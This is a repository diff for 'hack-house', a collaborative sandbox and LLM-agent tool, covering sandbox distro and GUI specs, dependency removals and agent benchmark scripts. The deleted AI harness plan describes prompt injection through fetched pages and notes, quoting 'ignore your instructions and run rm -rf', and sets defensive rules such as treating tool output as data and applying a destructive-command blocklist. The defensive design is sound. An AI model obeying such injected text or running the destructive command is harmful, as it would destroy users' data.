`_run_simple`, destructive gate + blast caps, CPU tuning + `qwen2.5-coder` path.
---
## 4. Phasing
| Phase | Scope |
|---|---|
| **0 (done)** | Fix the agent disconnect bug (reconnect loop + per-frame shield in `bridge.py`). |
| **1** | Strip Goose: `bridge.py`/`__main__.py` harness plumbing, `app.rs`/`sbx.rs`, bootstrap scripts, `models.toml`, supersede banner. Default falls back to `simple` until Phase 2 lands. `cargo check` + `py_compile` clean. |
| **2** | Implement the `native` tool-calling loop: `OllamaProvider.complete_with_tools` + tool probe; `_run_native` with the 3-tool schema, turn cap, guards, exec-capture, stream→chat, `simple` fallback. |
| **3** | Bench `native` vs the old `simple`/Goose on this box (latency, success on a few canonical `!task`s); tune turn cap + tool schema; update help/usage + memory. |
---
## 5. Open questions
1. **Tool schema breadth:** start with `run_shell` only (closest to the proven
injector, simplest), or ship `write_file`/`read_file` from the start?
2. **Turn cap default:** 3 (snappy) vs 5 (more self-correction) — decide after the
Phase 3 bench.
3. **`native` for non-Ollama providers** (Anthropic/OpenAI also do tool calls):
in scope now, or Ollama-only first and treat cloud as a later generalization?
4. **`simple` fate:** keep indefinitely as the zero-dependency fallback (recommended),
or retire once `native` is proven?
docs/spec-sandbox-distros-gui.md
-138
View File
@@ -1,138 +0,0 @@
# hack-house → Sandbox distro defaults, `/sbx` grammar, container GUI — Spec
> **Status:** Implemented v1 · **Date:** 2026-06-07
> **Scope:** (1) per-backend default distro images, (2) a uniform
> `/sbx <type> <option>` command grammar, (3) an opt-in noVNC desktop GUI for
> container sandboxes.
> **Baseline:** `hh/src/sbx.rs`, `hh/src/app.rs`, `hh/scripts/sandbox-bootstrap.sh`.
> **Builds on:** `spec-collaborative-sandbox.md`, `spec-goose-harness.md`.
---
## 0. Decisions locked (from product owner)
| # | Decision | Choice |
|---|----------|--------|
| A | Podman default distro | **Kali** (`kalilinux/kali-rolling`). Debian/apt-based ⇒ the apt-only `sandbox-bootstrap.sh` works unchanged. Minimal base (no pentest metapackages by default — fast first launch). |
| B | Docker default distro | **Parrot OS** (`parrotsec/core`). Also Debian/apt-based. `core` = minimal base; `parrotsec/security` per-launch for the full toolset. |
| C | Multipass / Local | Unchanged: Multipass = Ubuntu `24.04`; Local = host shell. |
| D | Grammar | **`/sbx <type> <option>`** across the board for clarity. vbox is the exception that takes extra options (`/sbx vbox gui <vm>`, `/sbx vbox new [name]`). `launch` kept as a transitional alias. |
| E | GUI | **Opt-in, container-only.** `/sbx <docker\|podman> gui` provisions an XFCE desktop served over noVNC, published on host **loopback only**. Headless backends/local: `gui` is a flagged no-op. |
**Why apt-only distros for the defaults:** `sandbox-bootstrap.sh` and
`sandbox-tools.json` are apt-based. Kali and Parrot are both Debian derivatives,
so they are drop-in. Non-apt distros (Arch/Fedora/Alpine) would each need a
package-manager branch in the bootstrap and are therefore *selectable images*,
not defaults.
---
## 1. Distro defaults
`Backend::default_image()` (`hh/src/sbx.rs`):
| Backend | Default image | Notes |
|---|---|---|
| `Docker` | `parrotsec/core` | swap `parrotsec/security` per-launch for full tools |
| `Podman` | `kalilinux/kali-rolling` | minimal; add `kali-linux-headless` for the toolset |
| `Multipass` | `24.04` | Ubuntu cloud release |
| `Local` | `""` | host shell |
Any image is overridable positionally: `/sbx podman parrotsec/security`,
`/sbx docker ubuntu:24.04`, etc.
---
## 2. `/sbx <type> <option>` grammar
The leading token after `/sbx` selects the backend; the rest are options.
```
/sbx docker [gui] [image] [install] [--start]
/sbx podman [gui] [image] [install]
/sbx multipass [image] [install]
/sbx local
/sbx vbox [gui] <vm> [yes] # exception: extra option (VM name / confirm)
/sbx vbox new [name] # exception: build a fresh VM
/sbx launch <backend> … # transitional alias (still accepted)
```
Action subcommands are unchanged and remain non-backend-led:
`/sbx stop | save | load | snaps | vms | vmsave | vmload | vmsnaps`.
**Implementation:** the `/sbx` match arm accepts the backend tokens
(`docker|podman|multipass|local|vbox|virtualbox`) *and* `launch`. For the
backend-led form the matched token is pushed to the front of the positional args
so the existing `first = pos.next()` backend-selection logic is reused verbatim.
`gui` and `install` are keyword options filtered out of the positionals (so they
are never mistaken for the image), exactly like the pre-existing `install`.
---
## 3. Container GUI (noVNC)
### 3.1 Why a special path
Containers are **headless** — unlike VirtualBox (`spec-virtualbox-sandbox.md`),
there is no display to open. A GUI therefore means running a desktop + a remote
framebuffer *inside* the container and exposing it to the owner's browser.
### 3.2 Flow
1. `/sbx podman gui` → `want_gui` keyword detected → `gui = true` (only for
Docker/Podman; flagged no-op otherwise).
2. `prepare()` publishes the noVNC port on host loopback:
`-p 127.0.0.1:6080:6080` (`GUI_PORT = 6080`). **Never `0.0.0.0`** — reachable
from this machine's browser, never the LAN.
3. `dk_bootstrap()` passes `HH_SBX_GUI=1` into the in-container bootstrap.
4. `sandbox-bootstrap.sh` (when `HH_SBX_GUI=1`) apt-installs a lightweight stack
— `xfce4`, `xfce4-terminal`, `dbus-x11`, `tigervnc-standalone-server`,
`novnc`, `websockify` — sets a non-interactive VNC password, starts a VNC
server on `:1` (5901, `-localhost no` so the in-netns bridge can reach it),
and daemonizes `websockify --web=/usr/share/novnc 6080 localhost:5901`.
5. The owner opens `http://127.0.0.1:6080` (noVNC). Default password
`hackhouse` (override `HH_SBX_GUI_PASS`).
### 3.3 Security posture
- **Loopback-only publish.** The desktop is never bound to a routable address.
- The VNC password is obfuscation, not strong auth; the real gates are the
loopback bind + the room password + the container's network namespace.
- No host bind mounts — consistent with the Goose containment invariant
(`spec-goose-harness.md` §2.1). The GUI adds **one** published loopback port,
nothing else crosses the boundary.
### 3.4 Limitations / non-goals
- **Heavy first pull** (a full desktop) — strictly opt-in, never default.
- The desktop+VNC processes are started during provisioning. The bootstrap is
sentinel-guarded, so after a *container restart* the GUI services are not
auto-restarted (fresh launches are the supported demo path). A future phase
could move service-start out from under the sentinel.
- Fixed port 6080 ⇒ one GUI sandbox at a time on a host (matches the
one-sandbox-at-a-time model).
---
## 4. Touch points
| File | Change |
|---|---|
| `hh/src/sbx.rs` | `default_image()` → Parrot (docker) / Kali (podman); `GUI_PORT` const; `prepare(gui)` publishes loopback `-p`; `provision(gui)`/`dk_bootstrap(gui)` thread `HH_SBX_GUI`. |
| `hh/src/app.rs` | `/sbx` match arm accepts backend-led tokens; `gui`/`install` keyword filtering; `gui` guarded to docker/podman; threaded through `PendingSudoLaunch` + `spawn_launch`; noVNC URL surfaced; help/usage strings → new grammar; "did you mean" suggestions (`KNOWN_COMMANDS`, `SBX_SUBCOMMANDS`, `levenshtein`/`closest`). |
| `hh/src/ui.rs` | `help_clusters()` VIRTUAL MACHINES → new grammar + `podman`/`gui` entries. |
| `hh/scripts/sandbox-bootstrap.sh` | `HH_SBX_GUI=1` section: apt desktop+VNC+noVNC, start server + websockify bridge. |
| `docs/command-reference.md` | Canonical categorized command list (mirrors `/help`), grammar + GUI + "did you mean" reference. |
---
## 5. Command reference
The full categorized command list (the `/help` popup, the `/sbx <type> <option>`
grammar, the container `gui` option, and the "did you mean" typo-suggestion
behaviour) lives in **`docs/command-reference.md`**. That file is the canonical
text mirror of `hh/src/ui.rs::help_clusters`. GUI/grammar quick form:
```
/sbx docker [gui] [image] [install] # Parrot OS default; gui = noVNC desktop
/sbx podman [gui] [image] [install] # Kali default; gui = noVNC desktop
```
`gui` is honoured for Docker/Podman only (flagged no-op on headless/local);
noVNC is published on host loopback `127.0.0.1:6080` (open `http://127.0.0.1:6080`,
default password `hackhouse`).
hh/Cargo.lock
Generated
-124
View File
@@ -110,12 +110,6 @@ version = "0.22.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "72b3254f16251a8381aa12e40e3c4d2f0199f8c6508fbecb9d91f575e0fbb8c6"
[[package]]
name = "base64ct"
version = "1.8.3"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "2af50177e190e07a26ab74f8b1efbfe2ef87da2116221318cb1c2e82baf7de06"
[[package]]
name = "bit-set"
version = "0.8.0"
@@ -282,12 +276,6 @@ dependencies = [
"static_assertions",
]
[[package]]
name = "const-oid"
version = "0.9.6"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "c2459377285ad874054d797f3ccebf984978aa39129f6eafde5cdc8315b612f8"
[[package]]
name = "cpufeatures"
version = "0.2.17"
@@ -333,33 +321,6 @@ dependencies = [
"typenum",
]
[[package]]
name = "curve25519-dalek"
version = "4.1.3"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "97fb8b7c4503de7d6ae7b42ab72a5a59857b4c937ec27a3d4539dba95b5ab2be"
dependencies = [
"cfg-if",
"cpufeatures",
"curve25519-dalek-derive",
"digest",
"fiat-crypto",
"rustc_version",
"subtle",
"zeroize",
]
[[package]]
name = "curve25519-dalek-derive"
version = "0.1.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "f46882e17999c6cc590af592290432be3bce0428cb0d5f8b6715e4dc7b383eb3"
dependencies = [
"proc-macro2",
"quote",
"syn",
]
[[package]]
name = "darling"
version = "0.23.0"
@@ -400,16 +361,6 @@ version = "2.11.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "a4ae5f15dda3c708c0ade84bfee31ccab44a3da4f88015ed22f63732abe300c8"
[[package]]
name = "der"
version = "0.7.10"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "e7c1832837b905bbfb5101e07cc24c8deddf52f93225eee6ead5f4d63d53ddcb"
dependencies = [
"const-oid",
"zeroize",
]
[[package]]
name = "digest"
version = "0.10.7"
@@ -444,30 +395,6 @@ version = "1.0.5"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "92773504d58c093f6de2459af4af33faa518c13451eb8f2b5698ed3d36e7c813"
[[package]]
name = "ed25519"
version = "2.2.3"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "115531babc129696a58c64a4fef0a8bf9e9698629fb97e9e40767d235cfbcd53"
dependencies = [
"pkcs8",
"signature",
]
[[package]]
name = "ed25519-dalek"
version = "2.2.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "70e796c081cee67dc755e1a36a0a172b897fab85fc3f6bc48307991f64e4eca9"
dependencies = [
"curve25519-dalek",
"ed25519",
"serde",
"sha2",
"subtle",
"zeroize",
]
[[package]]
name = "either"
version = "1.16.0"
@@ -509,12 +436,6 @@ dependencies = [
"zeroize",
]
[[package]]
name = "fiat-crypto"
version = "0.2.9"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "28dea519a9695b9977216879a3ebfddf92f1c08c05d984f8996aecd6ecdc811d"
[[package]]
name = "filedescriptor"
version = "0.8.3"
@@ -690,7 +611,6 @@ dependencies = [
"base64",
"clap",
"crossterm",
"ed25519-dalek",
"fernet",
"futures-util",
"hex",
@@ -1284,16 +1204,6 @@ version = "0.1.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "8b870d8c151b6f2fb93e84a13146138f05d02ed11c7e7c54f8826aaaf7c9f184"
[[package]]
name = "pkcs8"
version = "0.10.2"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "f950b2377845cebe5cf8b5165cb3cc1a5e0fa5cfa3e1f7f55707d8fd82e0a7b7"
dependencies = [
"der",
"spki",
]
[[package]]
name = "pkg-config"
version = "0.3.33"
@@ -1608,15 +1518,6 @@ version = "2.1.2"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "94300abf3f1ae2e2b8ffb7b58043de3d399c73fa6f4b73826402a5c457614dbe"
[[package]]
name = "rustc_version"
version = "0.4.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "cfcb3a22ef46e85b45de6ee7e79d063319ebb6594faafcf1c225ea92ab6e9b92"
dependencies = [
"semver",
]
[[package]]
name = "rustix"
version = "0.38.44"
@@ -1711,12 +1612,6 @@ version = "1.2.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "94143f37725109f92c262ed2cf5e59bce7498c01bcc1502d7b9afe439a4e9f49"
[[package]]
name = "semver"
version = "1.0.28"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "8a7852d02fc848982e0c167ef163aaff9cd91dc640ba85e263cb1ce46fae51cd"
[[package]]
name = "serde"
version = "1.0.228"
@@ -1898,15 +1793,6 @@ dependencies = [
"libc",
]
[[package]]
name = "signature"
version = "2.2.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "77549399552de45a898a580c1b41d445bf730df867cc44e6c0233bbc4b8329de"
dependencies = [
"rand_core 0.6.4",
]
[[package]]
name = "slab"
version = "0.4.12"
@@ -1929,16 +1815,6 @@ dependencies = [
"windows-sys 0.61.2",
]
[[package]]
name = "spki"
version = "0.7.3"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "d91ed6c858b01f942cd56b37a94b3e0a1798290327d1236e4d9cf4eaca44d29d"
dependencies = [
"base64ct",
"der",
]
[[package]]
name = "stable_deref_trait"
version = "1.2.1"
hh/Cargo.toml
-2
View File
@@ -19,8 +19,6 @@ fernet = "0.2"
base64 = "0.22"
rand = "0.8"
hex = "0.4"
# pseudonymous attribution (persona signing keys, ESA-style)
ed25519-dalek = "2"
# net
reqwest = { version = "0.12", default-features = false, features = ["blocking", "json", "rustls-tls"] }
hh/docs/ai-harness-plan.md
-109
View File
@@ -1,109 +0,0 @@
# AI Agent Harness & Capability Plan
> Status: **draft / proposal** (no code yet). Companion to `ai-perf-plan.md`.
> Target hardware: CPU-only inference (i5-8350U, 4 physical cores), Ollama, default model `qwen2.5:3b`.
## Where we are today
The `/ai` agent is a Python subprocess (`cmd_chat/agent/`) that joins the room as a peer and calls Ollama `/api/chat`. It already has:
- Transcript windowing (`context_window` 12 msgs / `token_budget` 2000 tok).
- **RAG over chat history** via `nomic-embed-text` (`bridge.py:_retrieve()`), top-k cosine, `rag_min_score` 0.35.
- A code-specialized provider split (`qwen2.5-coder:{1.5b,3b,7b}`) for the `!task` verb.
- A guarded sandbox-driving verb (`/ai <name> !<task>`) with a `DESTRUCTIVE` regex blocklist + confirm-gate (`bridge.py:301–386`).
**Gaps:** no web access, no filesystem access, no Obsidian vault access, no real tool loop.
**Two hardware constraints shape every decision:**
1. 3B model on CPU → prefill cost dominates latency; every extra context token hurts.
2. Small models are unreliable at native JSON function-calling → the harness must not depend on clean tool-call JSON.
---
## 1. Raw inference performance
Knobs in `providers.py` (`options`) and the spawn path:
| Lever | Action | Why |
|-------|--------|-----|
| `num_ctx` | Keep small (4096); raise per-task only | Prefill ~linear in context on CPU |
| `num_thread` | Pin to **4** (physical cores), not logical | Oversubscription slows i5 |
| `keep_alive` warm-load | Fire a 1-token dummy completion at `/ai start` | First real reply skips cold-load tax (model stays resident at `keep_alive: 30m`) |
| Quantization | Ensure `Q4_K_M` quants | Best speed/quality on CPU |
| `num_predict` | Cap (already 512) | Bounds output time |
| Transcript window | Trim msgs / `token_budget` | Fewer prefill tokens; RAG recall covers memory |
| Response cache | hash(system+context+question) → reply, short TTL | Repeated questions return instantly |
| Streaming | Keep (already on) | Dominates *perceived* latency |
---
## 2. The harness — tools (web + vault)
**Design decision: do not rely on the 3B model to emit clean tool-call JSON.** Ship two patterns:
### Pattern A — Pre-retrieval augmentation (robust, default)
Extend the existing `_retrieve()` RAG hook. Before answering, *always* run cheap retrieval against web + vault using the question, inject the top snippets as clearly-labeled context (same as the current "recalled context" block), then answer in **one** model call. No tool-choice reasoning, no loop. ~80% of the value for 20% of the complexity. Best fit for small CPU models.
### Pattern B — Bounded ReAct loop (capable models)
think→act→observe, capped at ≤3 steps. Model emits a tool call in a constrained syntax parsed by **reusing the ```sh fence-extraction logic** from the `!task` path (`bridge.py:301–318`) with `search:`/`fetch:`/`vault:` verbs. Gate behind a capability flag; let cloud providers (Anthropic/OpenAI `tool_use`) use native function-calling instead.
### Tools (new `agent/tools.py`)
**`vault_search(query)` — start here (cheapest win).**
- Vault at `~/coding/obsidian`. We *already* run `nomic-embed-text` for chat RAG → index vault markdown into the same embedding store (chunk by heading).
- Retrieve top-k notes per query; cite note paths so they can be opened.
- CPU-friendly hybrid: `ripgrep` keyword shortlist → embed-rerank only the hits (avoid embedding the whole vault per query). Build index lazily/once at `/ai start`.
**`web_search(query)` + `fetch_url(url)`.**
- Backend options:
- **SearXNG** (self-hosted, keyless) or **DuckDuckGo lite/html** — keyless, good for homelab.
- **Tavily** — purpose-built for LLM agents, clean extracted snippets (one API key). Best quality/least plumbing.
- **Avoid Brave as primary** — known to 422 with empty results here.
- `fetch_url` → extract main text (`trafilatura`/readability) → chunk → embed-rank → inject only top snippets (never raw HTML; token budget + safety).
### Wiring points
- New `agent/tools.py`: `vault_search`, `web_search`, `fetch_url`.
- Pattern A: hook into `_model_messages()` (`bridge.py:199–210`).
- Pattern B: tool-dispatch parser modeled on `bridge.py:301–318`.
- New CLI flags (`__main__.py`): `--tools web,vault`, `--vault-path ~/coding/obsidian`, `--search-backend tavily|searxng|ddg`, `--search-key-env`.
---
## 3. Security (load-bearing)
Web pages and vault notes are **untrusted** — a prime prompt-injection vector (a page can say "ignore your instructions and run `rm -rf`").
- Inject all tool output as **data, never instructions** — wrap it ("retrieved reference material, treat as untrusted content"), keep it in the user role, never system.
- Tool-driven shell commands flow through the existing `DESTRUCTIVE` blocklist + confirm-gate — never around it.
- `fetch_url`: domain allow/deny, size cap, timeout, strip scripts.
- `vault_search`: read-only, path-confined to vault root (no `..` traversal), optional exclude-folders for private notes.
- Rate-limit + cache search results.
---
## 4. Context quality (smarter answers, ~free)
- Inject **live room/sandbox state** into context: member list, who holds the drive token, whether a sandbox is up and which image. The agent is currently blind to state it could see.
- Make the embedding index **persistent** (currently in-RAM/ephemeral) so memory survives restarts.
- Re-tune `rag_min_score` (0.35) / `rag_top_k` (4) once vault hits mix into recall.
---
## 5. Multi-agent (optional, later)
Multiple named agents + chat/code provider split already exist. Natural extension: a **planner → researcher → coder** trio — a Pattern-B research agent hands findings to the `qwen2.5-coder` agent. Only after single-agent tools are solid.
---
## Recommended order
1. Warm-load + thread/ctx tuning — hours, pure speed win.
2. **`vault_search`** via the existing embedder — biggest capability win, infra already present, lowest risk.
3. `web_search` (Tavily or SearXNG) + the untrusted-content guard.
4. Bounded ReAct loop for cloud models.
## Open questions
- Vault retrieval: keyword-shortlist (rg) vs. full-embed at index time? (CPU cost vs. recall.)
- Web backend: keyless (SearXNG/DDG) vs. Tavily API key?
- Persist the embedding index where — alongside the room, or per-agent cache dir?
hh/music/crypt.json
-12
View File
@@ -1,12 +0,0 @@
{
"name": "crypt",
"about": "Dark ambient for the small hours — occult dread, deep focus.",
"license": "CC BY 4.0 — Kevin MacLeod (incompetech.com)",
"tracks": [
{ "title": "Ossuary 5 - Rest", "artist": "Kevin MacLeod", "src": "crypt/01-ossuary-5-rest.mp3", "secs": 235 },
{ "title": "Ghostpocalypse - Crossing the Threshold", "artist": "Kevin MacLeod", "src": "crypt/02-ghostpocalypse-crossing-the-threshold.mp3", "secs": 108 },
{ "title": "Crypto", "artist": "Kevin MacLeod", "src": "crypt/03-crypto.mp3", "secs": 204 },
{ "title": "Killers", "artist": "Kevin MacLeod", "src": "crypt/04-killers.mp3", "secs": 305 },
{ "title": "Hitman", "artist": "Kevin MacLeod", "src": "crypt/05-hitman.mp3", "secs": 200 }
]
}
hh/music/crypt/01-ossuary-5-rest.mp3
BIN
View File
Binary file not shown.
hh/music/crypt/02-ghostpocalypse-crossing-the-threshold.mp3
BIN
View File
Binary file not shown.
hh/music/crypt/03-crypto.mp3
BIN
View File
Binary file not shown.
hh/music/crypt/04-killers.mp3
BIN
View File
Binary file not shown.
hh/music/crypt/05-hitman.mp3
BIN
View File
Binary file not shown.
hh/music/terminal.json
-13
View File
@@ -1,13 +0,0 @@
{
"name": "terminal",
"about": "Hacker synth & chiptune — neon arcades and late-night shells.",
"license": "CC BY 4.0 — Kevin MacLeod (incompetech.com)",
"tracks": [
{ "title": "Neon Laser Horizon", "artist": "Kevin MacLeod", "src": "terminal/01-neon-laser-horizon.mp3", "secs": 178 },
{ "title": "Cyborg Ninja", "artist": "Kevin MacLeod", "src": "terminal/02-cyborg-ninja.mp3", "secs": 180 },
{ "title": "Space Fighter Loop", "artist": "Kevin MacLeod", "src": "terminal/03-space-fighter-loop.mp3", "secs": 101 },
{ "title": "Voltaic", "artist": "Kevin MacLeod", "src": "terminal/04-voltaic.mp3", "secs": 196 },
{ "title": "Blip Stream", "artist": "Kevin MacLeod", "src": "terminal/05-blip-stream.mp3", "secs": 284 },
{ "title": "Pixelland", "artist": "Kevin MacLeod", "src": "terminal/06-pixelland.mp3", "secs": 233 }
]
}
hh/music/terminal/01-neon-laser-horizon.mp3
BIN
View File
Binary file not shown.
hh/music/terminal/02-cyborg-ninja.mp3
BIN
View File
Binary file not shown.
hh/music/terminal/03-space-fighter-loop.mp3
BIN
View File
Binary file not shown.
hh/music/terminal/04-voltaic.mp3
BIN
View File
Binary file not shown.
hh/music/terminal/05-blip-stream.mp3
BIN
View File
Binary file not shown.
hh/music/terminal/06-pixelland.mp3
BIN
View File
Binary file not shown.
hh/scripts/archive/film-save-load.sh
+2 -2
View File
@@ -133,7 +133,7 @@ sleep 2
ok "recording → $CAST"
# ---- 3. title + join --------------------------------------------------------
say "echo '† hack-house — ephemeral by default, persistent on demand'"
say "echo '⛧ hack-house — ephemeral by default, persistent on demand'"
sleep 1.2
say "$BIN connect 127.0.0.1 $PORT alice --password '$PW' --no-tls"
wait_for 'alice|roster|hack-house|owner' 20 && ok "alice joined" || fail "alice never joined"
@@ -196,7 +196,7 @@ docker images "$SNAP" --format '{{.Tag}}' | grep -qx "$LABEL" && ok "image survi
sleep 1
say "docker ps -a --format '{{.Names}}' | grep hack-house || echo '(no hack-house container — purged)'"
sleep 1.5
say "docker images hh-snap --format '† {{.Repository}}:{{.Tag}}'"
say "docker images hh-snap --format '⛧ {{.Repository}}:{{.Tag}}'"
sleep 2
# ---- 9. fresh client → load -------------------------------------------------
hh/scripts/archive/film-virtualbox.sh
+1 -1
View File
@@ -122,7 +122,7 @@ sleep 2
ok "recording → $CAST"
# ---- 3. both parties join (alice = owner-side, bob = guest/client) ----------
asay "echo '† alice — host'"; bsay "echo '† bob — guest'"
asay "echo '⛧ alice — host'"; bsay "echo '⛧ bob — guest'"
sleep 0.8
asay "$BIN connect 127.0.0.1 $PORT alice --password '$PW' --no-tls"
await_for 'alice|roster|hack-house|owner' 20 && ok "alice joined" || fail "alice never joined"
hh/scripts/bench-native-harness.py
-225
View File
@@ -1,225 +0,0 @@
#!/usr/bin/env python3
"""Live bench/smoke for the native `!task` harness (docs/spec-native-harness.md, Phase 3).
Drives the real `AgentBridge._run_native` against a live Ollama model and the
`local` sandbox backend (host shell, scoped to a fresh temp workdir), with no chat
server or TUI in the loop. For each canonical task it reports: wall-clock latency,
model turns, tool calls, whether the expected artifact landed, and the final
answer. Also records a single chat-completion latency as the `simple`-harness
model-cost baseline (simple's execution needs the broker PTY, so only its model
call is comparable headlessly).
Usage: .venv/bin/python hh/scripts/bench-native-harness.py [--model qwen2.5:3b]
[--max-turns 5] [--threads 4]
Env: OLLAMA_HOST (default http://localhost:11434)
"""
from __future__ import annotations
import argparse
import asyncio
import os
import sys
import tempfile
import time
from pathlib import Path
# Make the repo importable when run from anywhere.
ROOT = Path(__file__).resolve().parents[2]
sys.path.insert(0, str(ROOT))
from cmd_chat.agent.bridge import AgentBridge # noqa: E402
from cmd_chat.agent.providers import ( # noqa: E402
Msg,
OllamaProvider,
ToolsUnsupported,
)
PER_TASK_TIMEOUT = 300.0 # hard ceiling so a runaway loop can't hang the bench
# (label, task text, check(workdir) -> bool)
TASKS = [
(
"write+read",
"create a file hello.txt containing exactly the text 'hello world', "
"then show its contents",
lambda d: (d / "hello.txt").is_file()
and "hello world" in (d / "hello.txt").read_text(),
),
(
"script+run",
"write a python script add.py that prints the sum of 2 and 3, then run it",
lambda d: (d / "add.py").is_file(),
),
(
"mkdir+list",
"make a directory named data and then list the files in the current directory",
lambda d: (d / "data").is_dir(),
),
]
class CountingOllama(OllamaProvider):
"""OllamaProvider that tallies tool-calling turns for the report."""
def __init__(self, *a, **k):
super().__init__(*a, **k)
self.tool_turns = 0
def complete_with_tools(self, system, messages, tools):
self.tool_turns += 1
return super().complete_with_tools(system, messages, tools)
def make_bridge(provider, workdir: str):
"""A headless AgentBridge wired to the local backend, with all network sends
stubbed to capture room output instead of encrypting to a websocket."""
b = AgentBridge(
"localhost", 0, name="bench", provider=provider,
no_tls=True, code_provider=provider, harness="native",
max_turns=provider_max_turns,
)
b.granted = True
b.sbx_engine = "local" # exec on the host shell (this process's CWD = workdir)
b.sbx_name = ""
b._chat: list[str] = []
async def cap_chat(ws, text):
b._chat.append(text)
async def noop(*a, **k):
pass
b._send_chat = cap_chat
b._send_typing = noop
b._send_stream = noop
async def cap_inject(ws, cmds): # simple-harness path (unused here, kept honest)
b._chat.append("[inject] " + " ; ".join(cmds))
b._inject = cap_inject
async def cap_sbx_input(ws, data): # stand in for the shared PTY
# In prod the broker writes these keystrokes to the room's PTY shell; here
# there's no PTY, so run them in the bench process (CWD == workdir) to
# exercise run_shell end-to-end. Mirror lines are `# `-prefixed comments,
# so the shell no-ops them; the only real command is the staged wrapper.
line = data.decode(errors="replace")
b._chat.append("[pty] " + line.rstrip("\n"))
proc = await asyncio.create_subprocess_shell(
line, stdout=asyncio.subprocess.DEVNULL, stderr=asyncio.subprocess.DEVNULL)
await proc.wait()
b._send_sbx_input = cap_sbx_input
return b
provider_max_turns = 5 # set in main()
async def run_task(provider, label, task, check) -> dict:
workdir = Path(tempfile.mkdtemp(prefix=f"hh-bench-{label}-"))
cwd = os.getcwd()
os.chdir(workdir)
provider.tool_turns = 0
bridge = make_bridge(provider, str(workdir))
t0 = time.monotonic()
timed_out = False
err = None
try:
await asyncio.wait_for(
bridge._run_native(None, task, "andre"), timeout=PER_TASK_TIMEOUT)
except asyncio.TimeoutError:
timed_out = True
except Exception as e: # noqa: BLE001 — record, don't abort the suite
err = f"{type(e).__name__}: {e}"
finally:
os.chdir(cwd)
elapsed = time.monotonic() - t0
ok = False
try:
ok = bool(check(workdir)) and not timed_out and err is None
except Exception: # noqa: BLE001
ok = False
final = next((c for c in reversed(bridge._chat) if "(native) for" in c), "")
return {
"label": label, "ok": ok, "elapsed": elapsed, "turns": provider.tool_turns,
"timed_out": timed_out, "err": err, "workdir": str(workdir),
"chat": bridge._chat, "final": final,
}
async def main() -> int:
global provider_max_turns
ap = argparse.ArgumentParser()
ap.add_argument("--model", default="qwen2.5:3b")
ap.add_argument("--max-turns", type=int, default=5)
ap.add_argument("--threads", type=int, default=4)
ap.add_argument("--num-ctx", type=int, default=4096)
ap.add_argument("--verbose", action="store_true", help="print full chat per task")
args = ap.parse_args()
provider_max_turns = args.max_turns
host = os.environ.get("OLLAMA_HOST", "http://localhost:11434")
print(f"== native harness bench == model={args.model} host={host}")
print(f" max_turns={args.max_turns} threads={args.threads} num_ctx={args.num_ctx}\n")
provider = CountingOllama(
model=args.model, num_ctx=args.num_ctx, num_thread=args.threads, num_predict=512)
# 0. Wire preflight: does the model accept the `tools` field at all?
print("[preflight] probing tool support…", flush=True)
t0 = time.monotonic()
try:
text, calls, _usage = await asyncio.to_thread(
provider.complete_with_tools,
"You are a test.",
[{"role": "user", "content": "Call run_shell to echo hi."}],
__import__("cmd_chat.agent.bridge", fromlist=["NATIVE_TOOLS"]).NATIVE_TOOLS,
)
except ToolsUnsupported as e:
print(f" ✖ model rejects tools: {e}\n → native would degrade to simple. Stopping.")
return 1
except Exception as e: # noqa: BLE001
print(f" ✖ preflight error: {type(e).__name__}: {e}")
return 2
print(f" ✓ tools accepted in {time.monotonic()-t0:.1f}s "
f"(calls={len(calls)}, supports_tools={provider.supports_tools()})\n")
# Baseline: one plain chat completion (the only model cost simple pays).
t0 = time.monotonic()
try:
await asyncio.to_thread(provider.complete, "You are concise.",
[Msg("user", "say ok")])
base = time.monotonic() - t0
print(f"[baseline] one chat completion (≈ simple's model cost): {base:.1f}s\n")
except Exception as e: # noqa: BLE001
print(f"[baseline] chat completion failed: {e}\n")
results = []
for label, task, check in TASKS:
print(f"[task:{label}] {task}", flush=True)
r = await run_task(provider, label, task, check)
tag = "PASS" if r["ok"] else ("TIMEOUT" if r["timed_out"] else "FAIL")
print(f" → {tag} {r['elapsed']:.1f}s turns={r['turns']}"
+ (f" err={r['err']}" if r["err"] else ""))
if r["final"]:
print(f" final: {r['final'].splitlines()[-1][:160]}")
if args.verbose:
for c in r["chat"]:
print(" | " + c.replace("\n", " ")[:160])
print(flush=True)
results.append(r)
# Summary table.
print("== summary ==")
print(f"{'task':<14}{'result':<9}{'secs':>7}{'turns':>7}")
for r in results:
tag = "PASS" if r["ok"] else ("TIMEOUT" if r["timed_out"] else "FAIL")
print(f"{r['label']:<14}{tag:<9}{r['elapsed']:>7.1f}{r['turns']:>7}")
passes = sum(1 for r in results if r["ok"])
print(f"\n{passes}/{len(results)} passed")
return 0 if passes == len(results) else 3
if __name__ == "__main__":
raise SystemExit(asyncio.run(main()))
hh/scripts/bench-olympics.py
+342
View File
@@ -0,0 +1,342 @@
#!/usr/bin/env python3
"""Agent Olympics launcher — competition benchmark inside hack-house.
A fourth benchmark axis (sibling of bench-ai.py / bench-sandbox.py /
bench-lang.py / bench-safety.py). Teams of LLM agents deliberate in a real
hack-house room, implement code in an isolated VM, and are scored on
correctness/speed (quality/collaboration arrive with the judge in M4).
M1 — the arena spine. One same-model team solves one MBPP problem end-to-end:
room deliberation -> single-driver implement -> PodmanRuntime -> public tests ->
SUBMIT -> hidden-test grade -> replayable transcript -> deterministic score.
Subcommands:
run run one event for one team (M1: same-model 2-member team, one MBPP task)
replay re-render a saved transcript as a room log
